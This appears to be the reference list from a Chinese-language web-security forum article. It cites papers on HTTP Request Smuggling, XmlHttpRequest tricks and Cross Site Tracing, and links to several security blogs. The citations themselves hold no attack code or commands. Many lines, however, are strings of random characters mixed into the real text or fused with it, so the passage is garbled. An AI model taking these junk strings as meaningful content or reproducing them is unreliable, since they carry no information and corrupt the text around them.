" g/ [+ y" q( N- B4 H% A8 X
3 F+ k) O: Q. g/ r3 O本文引用文档资料:
& Y8 `( Y" g( W/ ~+ Q
) t/ d( f1 M2 Y- S0 u9 h4 D"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
7 l' a' t% e; I8 t6 I, vOther XmlHttpRequest tricks (Amit Klein, January 2003)
: |0 P; h) T# _1 v, O"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
1 {# Z! [: A& D2 O. j; Y* v+ OXeye Team http://xeye.us/
6 U/ N$ b& E5 _/ Q' K- I/ S